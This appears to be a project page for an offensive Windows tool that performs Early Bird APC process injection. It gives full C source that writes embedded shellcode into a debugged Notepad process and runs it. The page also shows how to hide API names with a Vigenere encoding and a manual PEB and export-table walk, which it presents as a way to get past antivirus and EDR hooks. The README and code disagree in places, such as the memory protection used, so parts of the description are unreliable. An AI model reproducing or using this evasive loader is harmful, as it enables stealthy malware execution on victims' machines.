Early-Bird-HashedAPIs
Early Bird APC Injection — N0xShell
What is Early Bird?
Early Bird is a process injection technique that abuses Asynchronous Procedure Calls (APCs).
The trick: a newly created process in a debugged state has its main thread in an alertable wait state before any user code runs. Queuing an APC at that exact moment causes it to execute as the very first thing the thread does — before any AV/EDR hooks are in place.
Why it works
When you create a process with DEBUG_PROCESS, the OS suspends the new thread in an alertable state waiting for the debugger to signal it. Calling DebugActiveProcessStop releases that state. If you’ve already queued an APC (via QueueUserAPC) pointing at shellcode you wrote into the process, that APC fires the moment the debug hold is released — before the process’s own main() ever runs.
Execution Flow
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
1. ResolveApis()
├── PEB walk → KERNEL32.DLL, NTDLL.DLL base addresses
├── Export table walk → resolve 8 function pointers
└── LoadLibraryA → load SHLWAPI.DLL if not in PEB
2. CreateDebuggedProcess("Notepad.exe")
├── GetSystemDirectoryA → e.g. C:\Windows\System32
├── PathAppendA → C:\Windows\System32\Notepad.exe
└── CreateProcessA(DEBUG_PROCESS) → hProcess, hThread, dwProcId
3. InjectRemoteProcess(hProcess, Shellcode, ...)
├── VirtualAllocEx(PAGE_READWRITE) → allocate remote buffer
├── WriteProcessMemory → copy shellcode bytes
├── SecureZeroV → wipe local shellcode copy
└── VirtualProtectEx(PAGE_EXECUTE_READ) → flip to RX
4. QueueUserAPC(pBufferAddress, hThread)
└── APC registered on the target thread's queue
5. DebugActiveProcessStop(dwProcId)
└── Debug hold lifted → thread becomes alertable → APC fires → shellcode runs
API Resolution — Vigenere Encoding
All Windows API names and DLL names are stored encoded in the binary as byte arrays.
No plaintext strings appear in the import table or in .rdata.
Encoding (Python, at build time):
1
encoded[i] = (plaintext[i] + KEY[i % keylen]) % 256
Decoding (C, at runtime):
1
Out[i] = (BYTE)(Enc[i] - VIG_KEY[i % VIG_KEY_LEN]);
Key: "N0xShell"
Module resolution — GetModuleHandleV:
Walks the PEB’s InMemoryOrderModuleList using CONTAINING_RECORD against a fully-defined
MY_LDR_ENTRY struct. No GetModuleHandle call, no IAT entry.
Function resolution — GetProcAddressV:
Parses the PE export directory manually:
AddressOfNames → AddressOfNameOrdinals → AddressOfFunctions.
No GetProcAddress call, no IAT entry.
Files
| File | Purpose |
|---|---|
vigenere.py |
Encode API/DLL names → C byte arrays at build time |
resolve-hashes.h |
PEB walk, export table walk, encoded arrays, ResolveApis() |
main.c |
CreateDebuggedProcess, InjectRemoteProcess, main |
earlybird-hashedapis.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
#include <stdio.h>
#include "resolve-hashes.h"
// calc
unsigned char Shellcode[] = {
0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,
0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52,
0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72,
0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,
0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B,
0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,
0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,
0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41,
0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,
0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1,
0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,
0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44,
0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,
0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,
0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,
0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48,
0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D,
0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5,
0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,
0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0,
0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89,
0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x00
};
/*
Injects shellcode into a remote process's address space
hProcess -> Handle to target process
pShellcode -> Pointer to our shellcode base address
sShellcodeSize -> Size of our shellcode
ppRemoteAddr -> OUtput base address
*/
BOOL InjectRemoteProcess(_In_ HANDLE hProcess, _In_ PBYTE pShellcode, _In_ SIZE_T sShellcodeSize, _Out_ PVOID* ppRemoteAddr) {
if (!hProcess || !pShellcode || !sShellcodeSize || !ppRemoteAddr)
return FALSE;
PVOID pRemoteAddr = NULL;
SIZE_T sNumOfBytesWritten = 0;
DWORD dwOldProtect = 0;
BOOL bResult = FALSE;
// Allocate RW memory in the target process
pRemoteAddr = pVirtualAllocEx(hProcess, NULL, sShellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (!pRemoteAddr) {
printf("[!] VirtualAllocEx Failed: %d \n", GetLastError());
goto _CleanUp;
}
// Write shellcode into the remote buffer
if (!pWriteProcessMemory(hProcess, pRemoteAddr, pShellcode, sShellcodeSize, &sNumOfBytesWritten) || sNumOfBytesWritten != sShellcodeSize) {
printf("[!] WriteProcessMemory Failed: %d \n", GetLastError());
goto _CleanUp;
}
// Wipe local copy
RtlSecureZeroMemory(pShellcode, sShellcodeSize);
// Change memory permissions, this enables our shellcode to be executed
if (!pVirtualProtectEx(hProcess, pRemoteAddr, sShellcodeSize, PAGE_EXECUTE_READWRITE, &dwOldProtect)) {
printf("[!] VirtualProtectEx Failed: %d \n", GetLastError());
goto _CleanUp;
}
*ppRemoteAddr = pRemoteAddr;
bResult = TRUE;
_CleanUp:
if (!bResult && pRemoteAddr)
VirtualFreeEx(hProcess, pRemoteAddr, 0, MEM_RELEASE);
return bResult;
}
/*
Creates process with debug flags which enables us to queue the process
lpProcName -> process name
dwProcId -> pointer that receive the process id
hProcess -> receive handle ot the process
hThead -> handle that recieve the thread
*/
BOOL ProcessDebugged(_In_ LPCSTR lpProcName, _Out_ DWORD* dwProcId, _Out_ HANDLE* hProcess, _Out_ HANDLE* hThread) {
if (!lpProcName)
return FALSE;
CHAR lpProcPath[MAX_PATH * 2] = { 0 };
STARTUPINFO StartupInfo = { 0 };
PROCESS_INFORMATION ProcInfo = { 0 };
// Initialize output parameters
*dwProcId = 0;
*hProcess = NULL;
*hThread = NULL;
// Set the required size field on STARTUPINFO
StartupInfo.cb = sizeof(STARTUPINFO);
// Append the process filename to correct path
if (!pPathAppendA(lpProcPath, lpProcName)) {
printf("[!] PathAppendA Failed: %d \n", GetLastError());
goto _CleanUp;
}
if (!pCreateProcessA(NULL, lpProcPath, NULL, NULL, FALSE, DEBUG_PROCESS, 0, NULL, &StartupInfo, &ProcInfo)) {
printf("[!] CreateProcessA Failed: %d \n", GetLastError());
goto _CleanUp;
}
// Outcast output parameters
*dwProcId = ProcInfo.dwProcessId;
*hProcess = ProcInfo.hProcess;
*hThread = ProcInfo.hThread;
_CleanUp:
if (*dwProcId == 0 || *hProcess == NULL || *hThread == NULL)
return FALSE;
return TRUE;
}
#define TARGET_PROC "Notepad.exe"
int main() {
HANDLE hProcess = NULL, hThread = NULL;
DWORD dwProcId = 0x00;
PVOID pBufferAddress = NULL;
if (!ResolveApis()) {
printf("[!] ResolveApis failed\n");
return -1;
}
else
printf("[+] APIs Resolved \n");
printf("[+] Creating \"%s\" Process As A Debugged Process \n", TARGET_PROC);
if (!ProcessDebugged(TARGET_PROC, &dwProcId, &hProcess, &hThread))
return -1;
printf("\t[+] Target Process Created With PID: %d \n", dwProcId);
if (!InjectRemoteProcess(hProcess, Shellcode, sizeof(Shellcode), &pBufferAddress))
return -1;
// queue process
if (pQueueUserAPC((PTHREAD_START_ROUTINE)pBufferAddress, hThread, NULL) == 0) {
printf("[!] QueueUserAPC Failed: %d \n", GetLastError());
return -1;
}
// After our shellcode is injected, we can continue with execution
if (!pDebugActiveProcessStop(dwProcId)) {
printf("[!] DebugActiveProcessStop Failed: %d \n", GetLastError());
return -1;
}
printf("[+] Press <Enter> To exit! \n");
getchar();
return 0;
}
resolve-hashes.h
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
#pragma once
#include <Windows.h>
#include <winternl.h>
#include <stdint.h>
#include <ctype.h>
// Vigenere key
static const BYTE VIG_KEY[] = "N0xShell";
#define VIG_KEY_LEN (sizeof(VIG_KEY) - 1)
// Encoded module names
static const BYTE enc_KERNEL32_DLL[] = { 0x99, 0x75, 0xca, 0xa1, 0xad, 0xb1, 0x9f, 0x9e, 0x7c, 0x74, 0xc4, 0x9f };
static const BYTE enc_NTDLL_DLL[] = { 0x9c, 0x84, 0xbc, 0x9f, 0xb4, 0x93, 0xb0, 0xb8, 0x9a };
static const BYTE enc_SHLWAPI_DLL[] = { 0xa1, 0x78, 0xc4, 0xaa, 0xa9, 0xb5, 0xb5, 0x9a, 0x92, 0x7c, 0xc4 };
static const BYTE enc_LoadLibraryA[] = { 0x9a, 0x9f, 0xd9, 0xb7, 0xb4, 0xce, 0xce, 0xde, 0xaf, 0xa2, 0xf1, 0x94 };
// Encoded function names
static const BYTE enc_VirtualAllocEx[] = { 0xa4, 0x99, 0xea, 0xc7, 0xdd, 0xc6, 0xd8, 0xad, 0xba, 0x9c, 0xe7, 0xb6, 0xad, 0xdd };
static const BYTE enc_WriteProcessMemory[] = { 0xa5, 0xa2, 0xe1, 0xc7, 0xcd, 0xb5, 0xde, 0xdb, 0xb1, 0x95, 0xeb, 0xc6, 0xb5, 0xca, 0xd9, 0xdb, 0xc0, 0xa9 };
static const BYTE enc_VirtualProtectEx[] = { 0xa4, 0x99, 0xea, 0xc7, 0xdd, 0xc6, 0xd8, 0xbc, 0xc0, 0x9f, 0xec, 0xb8, 0xcb, 0xd9, 0xb1, 0xe4 };
static const BYTE enc_GetSystemDirectoryA[] = { 0x95, 0x95, 0xec, 0xa6, 0xe1, 0xd8, 0xe0, 0xd1, 0xbb, 0x74, 0xe1, 0xc5, 0xcd, 0xc8, 0xe0, 0xdb, 0xc0, 0xa9, 0xb9 };
static const BYTE enc_PathAppendA[] = { 0x9e, 0x91, 0xec, 0xbb, 0xa9, 0xd5, 0xdc, 0xd1, 0xbc, 0x94, 0xb9 };
static const BYTE enc_CreateProcessA[] = { 0x91, 0xa2, 0xdd, 0xb4, 0xdc, 0xca, 0xbc, 0xde, 0xbd, 0x93, 0xdd, 0xc6, 0xdb, 0xa6 };
static const BYTE enc_QueueUserAPC[] = { 0x9f, 0xa5, 0xdd, 0xc8, 0xcd, 0xba, 0xdf, 0xd1, 0xc0, 0x71, 0xc8, 0x96 };
static const BYTE enc_DebugActiveProcessStop[] = { 0x92, 0x95, 0xda, 0xc8, 0xcf, 0xa6, 0xcf, 0xe0, 0xb7, 0xa6, 0xdd, 0xa3, 0xda, 0xd4, 0xcf, 0xd1, 0xc1, 0xa3, 0xcb, 0xc7, 0xd7, 0xd5 };
// Full LDR_DATA_TABLE_ENTRY layout
typedef struct _MY_UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} MY_UNICODE_STRING;
typedef struct _MY_LDR_ENTRY {
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
MY_UNICODE_STRING FullDllName;
MY_UNICODE_STRING BaseDllName;
} MY_LDR_ENTRY, * PMY_LDR_ENTRY;
// Vigenere decode
static VOID VigDecodeA(_In_ const BYTE* Enc, _In_ SIZE_T Len, _Out_ PCHAR Out) {
for (SIZE_T i = 0; i < Len; i++)
Out[i] = (CHAR)((BYTE)(Enc[i] - VIG_KEY[i % VIG_KEY_LEN]));
Out[Len] = '\0';
}
// ─── SecureZeroV — volatile loop; RtlSecureZeroMemory is FORCEINLINE, not exported ───
static VOID SecureZeroV(_In_ PVOID Ptr, _In_ SIZE_T Len) {
volatile CHAR* p = (volatile CHAR*)Ptr;
while (Len--) *p++ = '\0';
}
// GetModuleHandleV (PEB walk)
static HMODULE GetModuleHandleV(_In_ const BYTE* EncMod, _In_ SIZE_T Len) {
CHAR ModName[MAX_PATH] = { 0 };
VigDecodeA(EncMod, Len, ModName);
#ifdef _WIN64
PPEB pPeb = (PPEB)__readgsqword(0x60);
#else
PPEB pPeb = (PPEB)__readfsdword(0x30);
#endif
PLIST_ENTRY pHead = &((PPEB_LDR_DATA)pPeb->Ldr)->InMemoryOrderModuleList;
PLIST_ENTRY pCurr = pHead->Flink;
while (pCurr != pHead) {
PMY_LDR_ENTRY pEntry = CONTAINING_RECORD(pCurr, MY_LDR_ENTRY, InMemoryOrderLinks);
if (pEntry->BaseDllName.Buffer != NULL && pEntry->BaseDllName.Length > 0) {
CHAR Upper[MAX_PATH] = { 0 };
DWORD i = 0;
while (pEntry->BaseDllName.Buffer[i]) {
Upper[i] = (CHAR)toupper(pEntry->BaseDllName.Buffer[i]);
i++;
}
if (lstrcmpA(Upper, ModName) == 0)
return (HMODULE)pEntry->DllBase;
}
pCurr = pCurr->Flink;
}
return NULL;
}
// GetProcAddressV (export table walk)
static FARPROC GetProcAddressV(_In_ HMODULE hModule, _In_ const BYTE* EncFn, _In_ SIZE_T Len) {
if (hModule == NULL || EncFn == NULL)
return NULL;
CHAR FnName[128] = { 0 };
VigDecodeA(EncFn, Len, FnName);
PBYTE pBase = (PBYTE)hModule;
PIMAGE_DOS_HEADER pImgDosHdr = (PIMAGE_DOS_HEADER)pBase;
if (pImgDosHdr->e_magic != IMAGE_DOS_SIGNATURE)
return NULL;
PIMAGE_NT_HEADERS pImgNtHdrs = (PIMAGE_NT_HEADERS)(pBase + pImgDosHdr->e_lfanew);
if (pImgNtHdrs->Signature != IMAGE_NT_SIGNATURE)
return NULL;
PIMAGE_EXPORT_DIRECTORY pExpDir = (PIMAGE_EXPORT_DIRECTORY)(pBase +
pImgNtHdrs->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
PDWORD FunctionNameArray = (PDWORD)(pBase + pExpDir->AddressOfNames);
PDWORD FunctionAddressArray = (PDWORD)(pBase + pExpDir->AddressOfFunctions);
PWORD FunctionOrdinalArray = (PWORD)(pBase + pExpDir->AddressOfNameOrdinals);
for (DWORD i = 0; i < pExpDir->NumberOfNames; i++) {
CHAR* pFunctionName = (CHAR*)(pBase + FunctionNameArray[i]);
PVOID pFunctionAddress = (PVOID)(pBase + FunctionAddressArray[FunctionOrdinalArray[i]]);
if (lstrcmpA(pFunctionName, FnName) == 0)
return (FARPROC)pFunctionAddress;
}
return NULL;
}
#define GET_MOD(name) GetModuleHandleV(enc_##name, sizeof(enc_##name))
#define GET_PROC(hMod, fn) GetProcAddressV(hMod, enc_##fn, sizeof(enc_##fn))
// Function pointer typedefs
typedef LPVOID(WINAPI* fnVirtualAllocEx) (HANDLE, LPVOID, SIZE_T, DWORD, DWORD);
typedef BOOL(WINAPI* fnWriteProcessMemory) (HANDLE, LPVOID, LPCVOID, SIZE_T, SIZE_T*);
typedef BOOL(WINAPI* fnVirtualProtectEx) (HANDLE, LPVOID, SIZE_T, DWORD, PDWORD);
typedef UINT(WINAPI* fnGetSystemDirectoryA) (LPSTR, UINT);
typedef BOOL(WINAPI* fnPathAppendA) (LPSTR, LPCSTR);
typedef BOOL(WINAPI* fnCreateProcessA) (LPCSTR, LPSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPCSTR, LPSTARTUPINFOA, LPPROCESS_INFORMATION);
typedef DWORD(WINAPI* fnQueueUserAPC) (PAPCFUNC, HANDLE, ULONG_PTR);
typedef BOOL(WINAPI* fnDebugActiveProcessStop)(DWORD);
typedef HMODULE(WINAPI* fnLoadLibraryA) (LPCSTR);
// Function pointers
static fnVirtualAllocEx pVirtualAllocEx = NULL;
static fnWriteProcessMemory pWriteProcessMemory = NULL;
static fnVirtualProtectEx pVirtualProtectEx = NULL;
static fnGetSystemDirectoryA pGetSystemDirectoryA = NULL;
static fnPathAppendA pPathAppendA = NULL;
static fnCreateProcessA pCreateProcessA = NULL;
static fnQueueUserAPC pQueueUserAPC = NULL;
static fnDebugActiveProcessStop pDebugActiveProcessStop = NULL;
// ResolveApis
static BOOL ResolveApis(VOID) {
HMODULE hKernel32 = GET_MOD(KERNEL32_DLL);
HMODULE hNtdll = GET_MOD(NTDLL_DLL);
if (!hKernel32 || !hNtdll)
return FALSE;
// shlwapi may not be in the PEB yet
fnLoadLibraryA pLoadLibraryA = (fnLoadLibraryA)GET_PROC(hKernel32, LoadLibraryA);
if (!pLoadLibraryA)
return FALSE;
HMODULE hShlwapi = GET_MOD(SHLWAPI_DLL);
if (!hShlwapi) {
CHAR ShlwapiName[MAX_PATH] = { 0 };
VigDecodeA(enc_SHLWAPI_DLL, sizeof(enc_SHLWAPI_DLL), ShlwapiName);
hShlwapi = pLoadLibraryA(ShlwapiName);
}
if (!hShlwapi)
return FALSE;
pVirtualAllocEx = (fnVirtualAllocEx)GET_PROC(hKernel32, VirtualAllocEx);
pWriteProcessMemory = (fnWriteProcessMemory)GET_PROC(hKernel32, WriteProcessMemory);
pVirtualProtectEx = (fnVirtualProtectEx)GET_PROC(hKernel32, VirtualProtectEx);
pGetSystemDirectoryA = (fnGetSystemDirectoryA)GET_PROC(hKernel32, GetSystemDirectoryA);
pPathAppendA = (fnPathAppendA)GET_PROC(hShlwapi, PathAppendA);
pCreateProcessA = (fnCreateProcessA)GET_PROC(hKernel32, CreateProcessA);
pQueueUserAPC = (fnQueueUserAPC)GET_PROC(hKernel32, QueueUserAPC);
pDebugActiveProcessStop = (fnDebugActiveProcessStop)GET_PROC(hKernel32, DebugActiveProcessStop);
return (pVirtualAllocEx &&
pWriteProcessMemory &&
pVirtualProtectEx &&
pGetSystemDirectoryA &&
pPathAppendA &&
pCreateProcessA &&
pQueueUserAPC &&
pDebugActiveProcessStop);
}
